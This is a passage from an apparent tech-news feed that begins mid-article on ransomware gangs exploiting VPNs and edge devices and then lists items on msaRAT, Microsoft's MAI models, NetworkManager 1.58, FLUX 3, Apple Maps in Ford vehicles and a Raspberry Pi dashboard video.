Unpatched vulnerabilities in edge devices are far from the only software bugs fueling ransomware attacks. For example, last year the Clop ransomware gang hacked hundreds of companies by exploiting zero-day vulnerabilities in Oracle’s E-Business Suite software.

Edge of darkness

VPNs and other internet-facing edge devices remain prime targets for ransomware operators because they provide a direct route into an organization’s network.

“Attackers may exploit an unpatched vulnerability, use stolen credentials, or target weak authentication controls,” said Alexander Leslie, a senior advisor at cyber threat intelligence firm Recorded Future. “In some cases, exploitation begins before organizations have had sufficient time to apply vendor guidance, leaving security teams with a very narrow window to respond.”

VPN exploitation sits alongside other initial access methods, such as phishing, compromised credentials, or software supply chain attacks. The preferred attacker infiltration method varies by campaign and sector but locating security in edge devices carry particular advantages from the perspective of attackers.

“Vulnerabilities in perimeter devices are particularly valuable to attackers because those systems are continuously exposed to the internet and can provide privileged access while bypassing some endpoint controls,” said Leslie.

Dray Agha, senior manager of security operations at managed detection and response firm Huntress, backed up this assessment that exploiting internet-facing VPNs and edge devices remains the “dominant, volume-driven tactic” for ransomware operators because these appliances offer a “direct, publicly accessible gateway straight into the heart of corporate networks.”

Rather than exploiting vulnerabilities in edge devices, attackers more commonly use internet-facing gateways as a means to abuse stolen credentials to break into corporate networks, according to Huntress.

“What we see at Huntress is that the VPN is the site of initial access some 70% of the time, for advanced threat actors,” said Agha. “Overwhelmingly, however, they are not exploiting for access; rather they are using stolen credentials to authenticate to non-MFA’d [multi-factor authentication] user accounts.”

Hardened perimeter

CSOs should treat their network perimeter as hostile territory by enforcing aggressive patch management, applying critical edge device updates within 24 to 48 hours, and mandating strict MFA for all access.

Implementing zero-trust network segmentation to trap attackers and prevent lateral movement if the initial gateway is compromised also helps in making enterprise networks more resilient against attacks, Huntress’ Agha advised.

Phishing-resistant multi-factor authentication, removal of unsupported systems, and close monitoring for unusual authentication or administrative activity also form key components in attack impact mitigation.

Internet-facing assets that are known to be actively exploited should be prioritized as a patching priority.

“Threat intelligence and evidence of active exploitation should help determine which vulnerabilities demand immediate action,” Recorded Future’s Leslie said.

Elite AI-powered schools insist they provide route to excellence

Fri, 24 Jul 2026 05:48:33 +0200

Long-term effects of incorporating the technology into learning are still unknown, but inequalities are emerging

Chaos Ransomware Uses msaRAT to Route C2 Traffic Through Headless Chrome and Edge

Fri, 24 Jul 2026 05:19:23 +0200

The Chaos ransomware group ran its command-and-control through the victim’s own browser. Cisco Talos on Thursday detailed msaRAT, the Rust implant behind it, found on a compromised Windows machine ahead of the encryptor. The implant never opens an outbound connection of its own. Its process talks to 127.0.0.1 and nothing else. It starts Chrome or […]

Microsoft launches new in-house AI models it says cut costs up to 89% versus OpenAI

Fri, 24 Jul 2026 02:50:17 +0200

Microsoft AI released two new in-house models into public preview on Wednesday — MAI-Image-2.5-Pro, its highest-fidelity image generator to date, and MAI-Voice-2-Flash, a speech model built for high-volume enterprise workloads — while publishing production data that amounts to the company's most aggressive argument yet that it can power its own products without leaning on OpenAI's frontier models.

The announcement, made by Microsoft AI's Superintelligence team, lands roughly a year after the company committed to building purpose-built models internally, and it arrives with an unusual level of specificity about where those models now run: Bing, PowerPoint, OneDrive, Dynamics 365, Excel, GitHub Copilot, and Azure. The message to enterprise buyers — and, implicitly, to OpenAI — is that Microsoft's homegrown models are no longer research projects. They are production infrastructure serving millions of users.

"Each of these enhancements is a step toward the same goal: Microsoft products, powered by Microsoft models," the company wrote in its announcement blog.

How MAI-Image-2.5-Pro and MAI-Voice-2-Flash stake out opposite ends of the AI cost curve

The two new releases occupy opposite ends of what Microsoft calls the quality-speed-cost curve, and the positioning is deliberate. MAI-Image-2.5-Pro targets the premium tier: hero imagery, detailed editing, and precise in-image text rendering — the last of which has long been a notorious weak spot for image generation models. Microsoft priced the model at $5 per million text input tokens, $8 per million image input tokens, and $106 per million image output tokens. The base MAI-Image-2.5 model recently launched at No. 2 for image editing on Arena, the community leaderboard that has become a de facto scoreboard for generative media.

The creative industry appears to be taking notice. Rob Reilly, global chief creative officer at advertising giant WPP, called the Pro model "a strong leap forward for GenMedia tools" in a statement included in Microsoft's announcement, adding that "Microsoft has firmly established itself among the leaders in generative AI."

MAI-Voice-2-Flash goes the other direction. First previewed at Microsoft's Build conference, Flash runs twice as fast as MAI-Voice-2 and costs 32% less, priced at $15 per million characters. It is designed for the unglamorous but enormous market of high-volume voice — call centers, voice agents, and real-time speech applications where latency and cost-per-call matter more than marginal gains in expressiveness. Together, the two models reflect a strategy of building families of models rather than a single flagship, because, as the company put it, a creative studio chasing maximum fidelity has very different needs from a customer service operation handling millions of calls a day.

Microsoft's production metrics show in-house models cutting GPU costs by up to 89%

The model launches are arguably less newsworthy than the deployment metrics Microsoft attached to them — numbers that read like a systematic case for swapping out third-party frontier models across its product portfolio.

Bing Image Creator now runs entirely on MAI-Image-2.5, end to end, marking the first time the consumer image tool is fully in-house. In PowerPoint, Microsoft says MAI-Image-2.5 reduces GPU costs by up to 84% compared with GPT-Image-2, OpenAI's image model. In OneDrive, where MAI-Image-2.5 is now the default for key image-editing scenarios, the company reports a 26% increase in save rates, roughly 25% lower P95 latency, and 2.5 times greater efficiency under medium-utilization production workloads.

On the voice side, MAI-Voice-2-Flash now powers Dynamics 365 Contact Center — the platform used by customers including T-Mobile and EasyJet — where Microsoft claims GPU cost reductions of up to 89%. The model is also integrated into Azure Voice Live for developers building speech-to-speech agents.

Perhaps the most consequential deployment sits in healthcare. Microsoft's Dragon Copilot, used by 170,000 medical providers and responsible for processing 28 million patient encounters last quarter, now runs on MAI-Transcribe-1.5 for its multilingual workflow across 58 languages. Microsoft says internal evaluations show a 50% relative reduction in both transcription and language-identification error rates across most languages — a meaningful claim in a domain where transcription errors can propagate directly into clinical notes.

Inside the 'hill-climbing' strategy that lets small models beat GPT-5.6 in Excel

In a companion post published the same day, Microsoft detailed the methodology behind these results — what it calls its "hill-climbing machine," an integrated flywheel of data, models, and the product "harness" that surrounds them.

The clearest example is MAI-Code-1-Flash, the lightweight coding model launched in GitHub Copilot in June. Microsoft says the model achieves an approximately 10% higher code accept rate than GPT-5.4 Mini and Claude Haiku 4.5 in VS Code, while using 10% fewer median tokens. Developer retention tells a similar story: users were 6% more likely to return across multiple days than with GPT-5.4 Mini, and 11% more likely than with Claude Haiku 4.5.

Then Microsoft did something more interesting. It took the MAI-Code-1-Flash checkpoint and further trained it inside an Excel reinforcement learning environment, teaching a coding model the tools and workflows of spreadsheet knowledge work. The result, according to production user feedback, is a model on par with GPT-5.6 for the most common Excel tasks — while being small enough to run on Nvidia's older H100 and even A100 GPUs rather than requiring the latest-generation accelerators.

That hardware detail deserves emphasis. Every major AI company is fighting for allocation of cutting-edge chips, and a model that delivers frontier-adjacent quality on two-generation-old silicon fundamentally changes the deployment economics. It also frees the newest hardware — including Microsoft's now-operational GB200 cluster — for training rather than serving.

Satya Nadella's 'frontier diffusion' manifesto redraws the OpenAI relationship

Microsoft CEO Satya Nadella framed the announcements in a lengthy post on X titled "Frontier Diffusion & Control," which functions as something close to a strategic manifesto. "We can now take saturated frontier capabilities and deliver them at scale and at lower cost through models optimized for high-usage products, while continuing to use frontier models for frontier needs," Nadella wrote, adding that Microsoft is "beginning to route traffic across our first-party surfaces to MAI whenever our models match or outperform frontier alternatives."

Translated from executive prose: capabilities that were state-of-the-art a year ago are now table stakes, and Microsoft believes it can replicate them cheaply for the specific, repetitive tasks that dominate real product usage. Why pay frontier prices for a frontier model when a user just wants to reformat a spreadsheet column?

Nadella was careful to note that "frontier models from OpenAI and Anthropic are part of the orchestration system alongside MAI" — but he also articulated a pointed principle of model independence, arguing that a company's evaluations "should continue to hill climb even when any given model has been removed."

“Keeping the harness, memory, context, and skills outside the model, he argued, is what gives Microsoft control. The subtext is hard to miss. Reuters reported in April that Microsoft’s exclusive license to OpenAI’s technology had been revised into a non-exclusive arrangement, and The Information reported last September that Microsoft had begun incorporating Anthropic models into some products. Wednesday’s announcement completes the triangle: Microsoft as orchestrator, with its partners’ frontier models as interchangeable components and its own models absorbing an ever-larger share of routine traffic.”

Developers cheer cheaper task-specific models while skeptics question Microsoft's track record

The response online captured both the appeal and the skepticism surrounding the strategy. "I love when people use small models for niche tasks," wrote one X user, @mavihsk, responding to Nadella's post. "Why do I have to use the all-knowing model just to change my field in Excel?" Another user, @nabu_lines, distilled the pitch neatly: "cost and performance both improve when you stop overusing the biggest model."

Others were less charitable about Microsoft's execution track record. "Microsoft is the worst when it comes to listening to user feedback," wrote designer @designedbyabin, arguing the company "will lose the AI race because they repeatedly failed to understand user needs." And one user, @tokenoverflow, offered a drier critique of the model-independence pitch: "i want it keep hill climbing after removing microsoft."

The skeptics raise a fair point. Microsoft's self-reported metrics — accept rates, save rates, GPU savings — come from its own internal evaluations, not independent benchmarks, and the company chooses which comparisons to publish.

But the strategy's logic does not depend on any single number. Nadella's framing that software now has "real marginal cost for the first time" explains why Microsoft is obsessive about tokens, GPUs, and serving costs: when AI features run on every keystroke across a billion-user product portfolio, an 84% GPU cost reduction is not an optimization. It is the difference between a viable business and a money pit.

Why Microsoft is turning its internal AI playbook into an Azure product

The final piece of the strategy is that Microsoft is selling the playbook, not just the models. Nadella explicitly positioned the hill-climbing approach as "a template for every other AI native, SaaS, or Enterprise company," and Microsoft is packaging the toolchain through Foundry and what it calls Frontier Tuning — letting enterprises train specialized models against their own proprietary evaluations and reinforcement learning environments. That turns Microsoft's internal cost-cutting exercise into an Azure product, and it gives enterprise customers a reason to run their AI workloads on Microsoft's cloud even if the models themselves come from elsewhere.

The company's emphasis on models trained "on clean, traceable, enterprise-grade data, without distillation from third-party models" serves the same commercial end. In an industry facing mounting scrutiny over training data provenance, Microsoft is betting that enterprise buyers — and courts — will care where model capabilities come from. Microsoft says it is now extending the hill-climbing approach to Copilot Chat, Outlook, and PowerPoint, and both new models are available in public preview through Microsoft Foundry and the MAI Playground. "None of this is an endpoint," the company wrote. "We're just getting started."

Seven years ago, Microsoft bet more than $13 billion that OpenAI would build the future of AI. Wednesday's announcement suggests the company has since learned a cheaper lesson: the future of AI may belong to whoever builds the frontier, but the profits belong to whoever makes it ordinary.

NetworkManager update advances IPv6-only support, Wi‑Fi management, and security for Linux-based operating systems

Thu, 23 Jul 2026 21:34:46 +0200

Networking is core to any operating system, and when it comes to Linux, it’s actually a combination of several key components. The Linux kernel handles the data plane, moving packets, and holding live device state. NetworkManager is the network configuration service, operating as the control plane, deciding what a device’s configuration should be.

NetworkManager 1.58 was released this week, following more than five months of development and 407 commits since version 1.56. The release covers three areas: expanded support for IPv6-only networks, a set of Wi-Fi management updates, and a round of security hardening.

IPv4 address exhaustion remains the pressure behind the first of those areas, pushing more networks toward IPv6-only operation every year.

“More networks, mobile carriers, cloud providers, and anyone squeezed by IPv4 exhaustion are running IPv6-only by default,” Chris Van Hoof, director of Linux engineering, platform enablement at Red Hat, told Network World.

Advancing IPv6-only support

Dual stack networking, running IPv4 and IPv6 in parallel, has been the default IPv6 transition strategy for years. Dual stack networking, however, has a structural problem in that it still requires an IPv4 address on every device, so it does nothing to relieve address exhaustion pressure.

An alternative model called IPv6-mostly addresses that gap. It is defined in RFC 8925, “IPv6-Only-Preferred Option for DHCPv4,” and lets capable clients drop IPv4 entirely while legacy hosts that still need it keep receiving it on the same network segment.

“NetworkManager can also now auto-signal RFC 8925’s IPv6-only-preferred option, telling the network a host is fine skipping an IPv4 lease entirely,” Van Hoof said.

For the traffic that still needs IPv4, NetworkManager 1.58 adds support for CLAT, short for customer-side translator. CLAT is the client-side half of 464XLAT, a mechanism defined in RFC 6877, “464XLAT: Combination of Stateful and Stateless Translation.”

464XLAT pairs CLAT on the endpoint, which performs stateless header translation, with a stateful NAT64 translator on the provider side, letting IPv4-only apps keep functioning on a network that has no IPv4 of its own.

“CLAT is the translation layer that lets legacy IPv4-only apps and services keep working on those networks without bolt-on middleware,” Van Hoof said.

Wi-Fi management updates

NetworkManager 1.58 also brings a set of changes to how the daemon handles Wi-Fi connections and configuration.

Band selection: The band property of Wi-Fi connections now accepts a 6GHz value, and a Wi-Fi scan run through nmcli, NetworkManager’s command line tool, now shows each access point’s band as well.
Credential handling: WPS credentials with a 64 character hex PSK are now accepted, matching what some access points return.
Text interface improvements: nmtui, NetworkManager’s menu driven text interface, picked up several usability additions. A new device select button lets you choose a physical interface from a list instead of typing its name. The activation screen gained a rescan Wi-Fi button, and secret prompts now include a show password checkbox. There is also a share QR code option, mirroring the existing nmcli device wifi show-password command.

Security hardening

The release fixes vulnerabilities and tightens several defaults tied to DHCP handling and connection permissions.

CVE-2026-10805: Hostnames and MUD URLs are now validated before being written to the dhclient configuration file, rejecting characters that could alter the config syntax.
DHCPv4 client fix: An out-of-bounds read in the internal DHCPv4 client, triggerable by an on-link attacker with a malformed UDP packet, has been fixed.
Router option validation: The internal DHCPv4 client now ignores DHCP option 3, the Router option, when a lease also contains option 121, the Classless Static Route option, following the recommendation in RFC 3442.
Permission checks and deprecations: For private connections that restrict access to specific users, NetworkManager now verifies that the user can access the referenced 802.1X certificates and keys.

Tunneling and automation updates

Two smaller but practical additions round out this release: a new tunnel type for virtualized networks, and a fix that closes a gap in how NetworkManager’s state survives a reboot.

NetworkManager 1.58 also adds support for creating and managing GENEVE tunnel interfaces. GENEVE, short for Generic Network Virtualization Encapsulation, is a tunneling protocol that wraps Ethernet frames inside UDP packets, letting virtualized or overlay networks run on top of physical Layer 3 infrastructure. It shows up mainly in virtualization and cloud environments, where a hypervisor or container networking layer needs to build a virtual network segment across physical hosts. Previously, NetworkManager could not create or manage these interfaces directly.

The release also adds persisted managed state. NetworkManager tracks whether it is responsible for a given network device, a setting called its managed state. Until now, that setting reset on every reboot, so provisioning tools had to reapply it each time a system restarted. NetworkManager 1.58 lets the managed state survive a reboot when it is set through nmcli or the D-Bus API.

“It’s a small change but closes a real automation gap: Provisioning tools and cloud-init style workflows can set a device’s state once via D-Bus or nmcli and trust it survives a reboot, instead of reapplying config every time,” Van Hoof said.

Meta Develops Switchboard to Route Simpler AI Tasks to Cheaper Models

Thu, 23 Jul 2026 21:23:28 +0200

Meta is reportedly developing Switchboard, an internal AI router designed to send simpler tasks to cheaper models and reduce rising token costs.

The post Meta Develops Switchboard to Route Simpler AI Tasks to Cheaper Models appeared first on TechRepublic.

Apple Maps Is Coming to Ford’s Electric Vehicles in 2027

Thu, 23 Jul 2026 21:12:26 +0200

Apple Maps will come built into Ford’s upcoming Universal Electric Vehicle Platform in 2027, giving drivers direct access to navigation, traffic updates, EV routing, and hands-free driving support without needing an iPhone. Apple and Ford announced the partnership as part of a broader plan to bring Apple Maps directly into vehicle displays through Apple’s new MapKit for Automotive SDK. Ford will use the software across its upcoming electric vehicle platform, while drivers will still have the option to use CarPlay. The built-in Apple Maps experience will include turn-by-turn directions, natural language guidance, live traffic information, incident alerts, detailed place cards, and route suggestions. Drivers will also get EV-focused features such as intelligent routing and battery preconditioning, which prepares the battery before arriving at a charging station. Apple Maps will also support Ford’s hands-free driving system Ford plans to use road-level data from Apple Maps to support the next generation of its BlueCruise hands-free highway driving system. The company expects this data to improve the driving experience between highway entrances and exits, while also helping its Latitude AI team develop more advanced hands-free features. The direct integration means Ford drivers will be able to use Apple Maps even without an iPhone connected to the vehicle. CarPlay will remain available for users who prefer Apple’s full in-car interface. Ford appears to be one of the first automakers adopting Apple’s new automotive mapping tools, and Apple has already suggested that more partnerships will follow as other manufacturers begin using the MapKit for Automotive SDK.

the PERFECT Raspberry Pi wall dashboard?

Thu, 23 Jul 2026 20:49:01 +0200

Author: NetworkChuck - Bewertung: 319x - Views:3894

This video is sponsored by NetworkChuck Coffee. Grab a bag of Default Route (my favorite) and fuel your next build: https://ntck.co/coffee

Raspberry Pi sent me the new Raspberry Pi Touch Display 2, the 10 inch portrait version, and I mounted it on my studio wall to run all my Home Assistant and homelab stuff. It is a gorgeous little screen (1200x1920, real IPS, 10 finger touch, 400 nits) and at $80 it is a steal. There is one catch though, and a lot of you are not going to like it: this thing only works on the Raspberry Pi 5 and the Compute Modules. Your Pi 3 or Pi 4 will not work at all.

In this video I unbox it, walk through everything that is new versus the old touch display, hit a wall when it powered on and did absolutely nothing (turns out you have to update the firmware on your Pi 5, the EEPROM, before it will recognize the screen), mount it with nothing but a drill and some screws, and finally turn it into a beautiful Home Assistant dashboard using an open source kiosk app called TouchKio. Whether you are building a smart home wall panel, a homelab status board, or you just want your Raspberry Pi to show off what it is doing, this is a really good option.

Join the NetworkChuck Academy!: https://ntck.co/NCAcademy

RESOURCES / LINKS:
🌐 Raspberry Pi Touch Display 2: https://www.raspberrypi.com/products/touch-display-2/
🛠️ TouchKio (open source kiosk app): https://github.com/leukipp/touchkio
🏠 Home Assistant: https://www.home-assistant.io/
🖥️ Proxmox: https://www.proxmox.com/
📖 Update your Raspberry Pi firmware (EEPROM): https://www.raspberrypi.com/documentation/computers/raspberry-pi.html
☕ NetworkChuck Coffee (Default Route): https://ntck.co/coffee

TIMESTAMPS:
0:00 - Unboxing the new Raspberry Pi Touch Display 2
0:45 - What is new on the 10 inch portrait display
1:50 - The catch: Raspberry Pi 5 and Compute Modules only
2:48 - It powered on and nothing happened
3:16 - The fix: updating your Raspberry Pi 5 firmware
5:55 - Building the Home Assistant dashboard with TouchKio

**Raspberry Pi provided the Touch Display 2 for this video, no strings attached. All opinions are my own.

SUPPORT NETWORKCHUCK:
☕☕ COFFEE and MERCH: https://ntck.co/coffee

READY TO LEARN??
🔥🔥Join the NetworkChuck Academy!: https://ntck.co/NCAcademy
📚 CCNA Course: https://ntck.co/ccna

FOLLOW ME EVERYWHERE:
Instagram: https://www.instagram.com/networkchuck/
X/Twitter: https://x.com/networkchuck
Facebook: https://www.facebook.com/NetworkChuck/
Join the Discord server: https://ntck.co/discord

Some links in this description are affiliate links. If you buy through them, I may earn a small commission at no extra cost to you.

#raspberrypi #homeassistant #homelab

Black Forest Labs launches FLUX 3 capable of generating images and 20-second video with audio — but in limited release to start

Thu, 23 Jul 2026 20:48:22 +0200

Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with today's launch of FLUX 3, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture to robotic vision and actions.

The Freiburg, Germany-based AI lab says FLUX 3 is jointly trained across those modalities rather than assembling separate image, video and audio models behind a common interface.

That distinction is central to the company's pitch: BFL wants enterprises to think about creative generation, simulation, computer use and robotics as connected applications of a single capability it calls visual intelligence — models, in the company's words, "that can perceive, predict, and act across physical and digital environments." This release marks BFL's first public video generation model.

FLUX 3 will be offered through four product lines: FLUX 3 Video, FLUX 3 Image, FLUX 3 Action and the upcoming, open source FLUX 3 Dev. FLUX 3 Video, with optional native audio generation, and FLUX 3 Action are entering a gated "Early Access" program now, to which anyone can apply, but which BFL must approve.

There is presently no public access through BFL's application programming interface (API) or those of partners yet, but the company says FLUX 3 Image will roll out in the coming weeks, followed by general availability. The limited initial availability rollout echoes the release strategies of new models from other frontier labs in the U.S. lately, including Anthropic and OpenAI, though those were ostensibly for security concerns and due to government request.

What the company has not announced is pricing, production service-level commitments, evaluation methodology, sample sizes, rater counts or any image-model benchmarks at all. Enterprise buyers therefore cannot yet calculate total cost of ownership or independently reproduce the video comparisons.

Another big notable omission: FLUX 3 is not launching with downloadable weights at this time, nor an open source license. BFL says faster and open-weight versions will arrive later this year, and its technical blog names FLUX 3 Dev as "open-weight access to a multimodal backbone, for content creation (video, audio and image) and action prediction" — a considerably broader commitment than any previous FLUX Dev release, all of which covered images only.

But it arrives last in the sequence. Developers accustomed to receiving a locally deployable FLUX variant alongside — or soon after — a major model announcement will have to wait. That delay does not negate the company's commitment, but it is disappointing given the role open weights have played in FLUX's adoption thus far.

Flux 3 is rated higher than the competition, but missing pricing and benchmarking details may prevent rapid enterprise adoption

BFL has published several benchmark comparisons, but they're qualified as preliminary — with full benchmark results and methodology to be published later during broader general availability.

In early head-to-head preference testing on 10-second, 720p text-to-video clips with audio, the company says FLUX 3 was preferred over Luma Ray 3.2 in 93% of comparisons, Runway Gen-4.5 in 77%, Grok Imagine Video in 69%, Kling v3 Pro in 60%, Happy Horse v1 in 59%, Happy Horse 1.1 in 57%, and both Seedance 2.0 and Google's Gemini Omni Flash in 52%.

One caveat travels with every one of those figures, and it comes from BFL itself. The chart carrying the results is labeled a "preliminary evaluation of an early FLUX 3 candidate" — meaning the numbers describe a pre-release checkpoint rather than the model now entering early access. That cuts both ways: the shipping model may perform better, but nothing published today measures what customers will actually call.

Luma Ray 3.2 and Runway Gen-4.5, where FLUX 3 posted 93% and 77%, are the softest comparisons on the list — established products, but not the models currently setting the pace in independent video rankings. Those are real wins, and they are the ones least likely to change an enterprise shortlist.

Seedance 2.0, at 52%, is a statistical coin flip against a model most Western enterprises cannot currently procure. ByteDance indefinitely postponed Seedance 2.0's international rollout after Netflix, Warner Bros., Disney, Paramount and Sony sent legal threats over alleged systematic copyright infringement, and that suspension remains in place. Tying a frozen product is neither a strong claim nor a damaging one.

Gemini Omni Flash, also at 52%, matters much more. Omni is the closest large-platform analogue to what FLUX 3 is attempting — multimodal input, video and audio-aware creation, conversational editing — and by BFL's own measurement, the two are indistinguishable on 10-second text-to-video quality.

Google's advantage in that matchup is that Omni is generally available via Google's Gemini API for $0.10 per second of generated 720p video, or a 10-second clip for around.

One regional wrinkle matters for a German company's home market. Editing uploaded video is unavailable to Omni Flash users in the European Economic Area, Switzerland and the United Kingdom, though editing video the model itself generated is permitted. A European enterprise that wants to run its existing footage through a generative editing pass cannot currently do so on Omni Flash.

Here's a rough guide for enterprises considering which video models to rely upon:

Model	Max single-generation duration	Max resolution	Key constraints	Price per 10-second clip (720p)	Price per 10-second clip (1080p)	Price per 10-second clip (4K)
FLUX 3 Video	20 seconds	Not stated; evaluations run at 720p	Early access; no published SLA or pricing	Not announced	Not announced	Not announced
HappyHorse 1.1	15 seconds	1080p	No 4K; closed weights	Not published (v1.0 reseller rate is ~$1.82)	Not published (v1.0 reseller rate is ~$3.12)	n/a
Veo 3.1	Per-second billing	4K	Supports clip extension; preview	$4.00	$4.00	$6.00
Veo 3.1 Fast	Per-second billing	4K	Preview	$1.00	$1.20	$3.00
Veo 3.1 Lite	Per-second billing	1080p	No 4K, no clip extension; preview	$0.50	$0.80	n/a
Gemini Omni Flash	10 seconds (3s minimum)	720p at 24 FPS	Preview abd no EU access	$1.00	n/a	n/a

One architecture for media generation and physical action

FLUX 3 builds on Self-Flow, BFL's method for aligning multimodal understanding and generation within one architecture, publicized back in March 2026.

The company says it significantly scaled up compute and data to train across video, images and audio simultaneously, and that testing showed video generation and action prediction do not require separate foundations — the same architecture could be extended to action prediction without sacrificing what it learned from video.

"We place vision at the center of our approach because it is the most signal-rich medium of the physical world. Images convey structure, images and video teach spatial relationships, video teaches dynamics, and actions reveal causal relationships. But vision alone is not the complete picture," said Robin Rombach, co-founder and CEO of BFL, in a pre-release statement provided to VentureBeat. "True intelligence means perceiving the world: predicting how it will change, taking action, and learning from the results. Joint training within one unified architecture is what will get us there, because each training modality strengthens the others. Audio conveys timing, prosody, and physical events that elude vision. Language conveys goals, abstractions, and instructions that pixels cannot easily express."

He put the case more bluntly elsewhere in the announcement: "You can't cheat reality. A model that only learns images can only generate images. But the world is not made of still frames. It moves, sounds, changes, and responds."

BFL says FLUX 3 targets creative tooling, media, design, e-commerce and physical AI, supporting video generation with synchronized audio, precise image editing, product and material consistency across motion, multilingual generation and robotic action prediction. It is already being tested by Canva, Burda, Magnific (formerly Freepik), Krea and Picsart.

For creative software companies, the appeal is consolidation. A single foundation could potentially support storyboarding, image editing, product rendering, video variation and localization without repeatedly translating assets and instructions between disconnected models.

For robotics teams, the potential value is data efficiency. Models that already encode motion, object behavior and physical change may need less task-specific robot training than systems starting from raw demonstrations.

What FLUX 3 Video can actually do

The video tier is the most concretely specified part of the launch, and it settles a question that had been circulating as rumor: FLUX 3 generates clips of up to 20 seconds with audio in a single generation.

Every video output comes with native audio. For comparison, HappyHorse 1.0 tops out at 15 seconds of 1080p with synchronized audio — though BFL has not stated what resolution its 20-second clips run at, and its published evaluations were conducted at 720p. Still, a 20-second long clip from a single prompt is among the longest yet achieved, matching OpenAI's discontinued Sora model.

The capability list BFL published covers:

Text-to-video generation.
Image-to-video generation, either animating from a starting frame or using images as visual references.
Video-to-video generation from a reference clip, carrying elements such as a specific character into a new scene or context.
Generative video-audio continuation from existing video and audio input.
Keyframe-to-video generation for controlled transitions between defined moments.
Multilingual dialogue.
A broad range of visual styles and aspect ratios, from candid camcorder footage to animation and cinematics.
Typography generation and animated design.
Agentic chaining of individual clips into longer, multi-shot sequences.

That last item is the one enterprise video teams should look at hardest. BFL claims the capabilities combine to produce sequences lasting several minutes, with visual references keeping characters consistent across scenes. If that holds up under production conditions, it addresses the constraint that has kept generative video out of most commercial pipelines: not clip quality, but continuity across shots.

It is also the capability where competition is most direct. HappyHorse 1.1's headline upgrade is R2V, or Reference-to-Video, which accepts multiple character reference images to hold identity stable across generated footage — the same problem, approached at the input layer rather than through agentic clip chaining. Alibaba also claims zero-drift lip sync and has specifically targeted the artifacts that mark commercial AI video as synthetic, including facial oiliness and over-sharpening. Character consistency is where this category is being contested, and both companies know it.

BFL says FLUX 3 Video is already particularly strong at human facial expressions, associating sounds with physical events, and multilingual output. On the image side, the company says preliminary evaluations conducted during midtraining show significant improvement over earlier FLUX versions in complex prompt handling and text generation, including high-accuracy text in multiple languages. It published no image benchmarks or win rates.

FLUX-mimic tests whether video models can become robot models

BFL is applying its unified-architecture thesis through FLUX-mimic, a video-action model built on FLUX 3 and developed with Swiss firm Mimic Robotics, one of the first partners to receive early access.

The technical blog describes two distinct routes to action prediction: integrating native action prediction directly into FLUX 3, scaling up the initial Self-Flow work; and using the pretrained video backbone as a dynamics-aware foundation from which specialized action models can be finetuned with limited task-specific data. FLUX-mimic is the second route — the FLUX 3 backbone combined with mimic's robot-learning and production-deployment expertise in dexterous manipulation.

FLUX-mimic is designed for general-purpose robotic manipulation: helping robots understand a visual scene, predict the consequences of an action, and adapt to new tasks with far less task-specific data.

BFL and Mimic Robotics say that depending on task difficulty, the model can be finetuned for a specific manipulation task with as little as 30 minutes of robot data, where prior approaches have required 30 or more hours.

"The hardest part of robotics is data," said Elvis Nava, CTO of Mimic Robotics, in a statement provided to VentureBeat. "Every new task normally means hours of a robot repeating itself. Because FLUX-mimic is built on top of frontier video models that already understand how the physical world behaves, it picks up a new task in minutes, not days. This way, we can leapfrog the current state of the art in robot learning."

BFL argues that a model trained only on images cannot understand a world that "moves, sounds, changes, and responds," and that physical understanding is what produces convincing generated footage. Google makes a nearly identical claim for Gemini Omni.

Its developer documentation cites "world knowledge" that combines "an understanding of physics" with Gemini's grasp of history, science and cultural context. Its marketing is blunter still: "Most AI models just predict the next pixel to build a narrative or an image. Gemini Omni is different," the company posted in June, crediting the model with "an intuitive understanding of forces like gravity, kinetic energy, and fluid dynamics for more realistic movements that follow real-world logic."

The practical consequence for enterprise buyers is that world-model language is not a differentiator. Two of the three leading video systems now market physical understanding as their central advantage, and neither has published a benchmark that measures it.

There is no standard test for whether generated water behaves like water, whether a dropped object falls at a plausible rate, or whether a sound arrives when the impact does. Human preference ratings capture some of it indirectly. Nothing else on offer captures it at all.

Open weights helped make FLUX an industry standard

BFL officially launched in summer 2024 and gained a name for itself in the AI industry in the intervening two years for its commitment to open sourcing high-quality AI image models beloved by developers, creatives, and enterprises.

The company's founders, including Rombach, Andreas Blattmann and Patrick Esser, previously helped create VQGAN, latent diffusion and Stable Diffusion, the latter the open source technology that kicked off broad AI generation capabilities for the masses and currently used by many AI image generators and companies.

That reach translated into commercial distribution. FLUX models now power generative features inside Adobe Photoshop, Picsart and Nous Research's Hermes Agent, among other platforms, and the company cites film director Martin Scorsese among professional users.

Wired magazine described Black Forest Labs as a relatively small company that nevertheless became a leading competitor to Silicon Valley's largest AI labs, with FLUX models ranking near the top of image benchmarks and becoming some of the most downloaded text-to-image models on AI code sharing community Hugging Face. The company says it now runs a 100-person team across Freiburg and San Francisco.

FLUX.1 Dev, FLUX.1 Kontext Dev, FLUX.1 Fill Dev and related control models, released shortly after the firm's launch, gave researchers and creative-tool developers access to downloadable checkpoints, local inference and integrations with frameworks including Hugging Face Diffusers and ComfyUI. FLUX.1 Kontext Dev, for example, was released as an open-weight model for research and noncommercial use, with generated outputs permitted for commercial purposes under the applicable license.

The company continued that pattern with FLUX.2 Dev in late 2025, a 32-billion-parameter open-weight model combining generation and multi-reference editing. Black Forest Labs called it the strongest open-weight image generation and editing model available at launch and released weights, reference inference code and optimized implementations for consumer Nvidia GPUs.

FLUX 3 Dev raises the stakes on that evaluation. Previous Dev releases were image models. This one is described as a multimodal backbone spanning video, audio, image and action prediction — meaning a single license will govern whether a company can locally deploy a model that touches both content production and physical machinery. BFL hasn't yet shared information about its license, the parameter count, quantizations or hardware requirements.

The company frames open weights as an enterprise feature rather than a community gesture, arguing they enable secure, low-latency local deployment for applications like robotic control systems and let teams adapt FLUX 3 to their own data, products and workflows.

The financial backing behind FLUX 3 is worth noting alongside the technical claims. Black Forest Labs is valued at $3.25 billion and has raised more than $450 million from investors including a16z, AMP, Salesforce Ventures, Nvidia, General Catalyst, Adobe Ventures, Figma Ventures, Canva and Deutsche Telekom's T.Capital.

In a First, Apple Maps Navigation To Be Embedded In Ford UEV Pickups

Thu, 23 Jul 2026 20:13:19 +0200

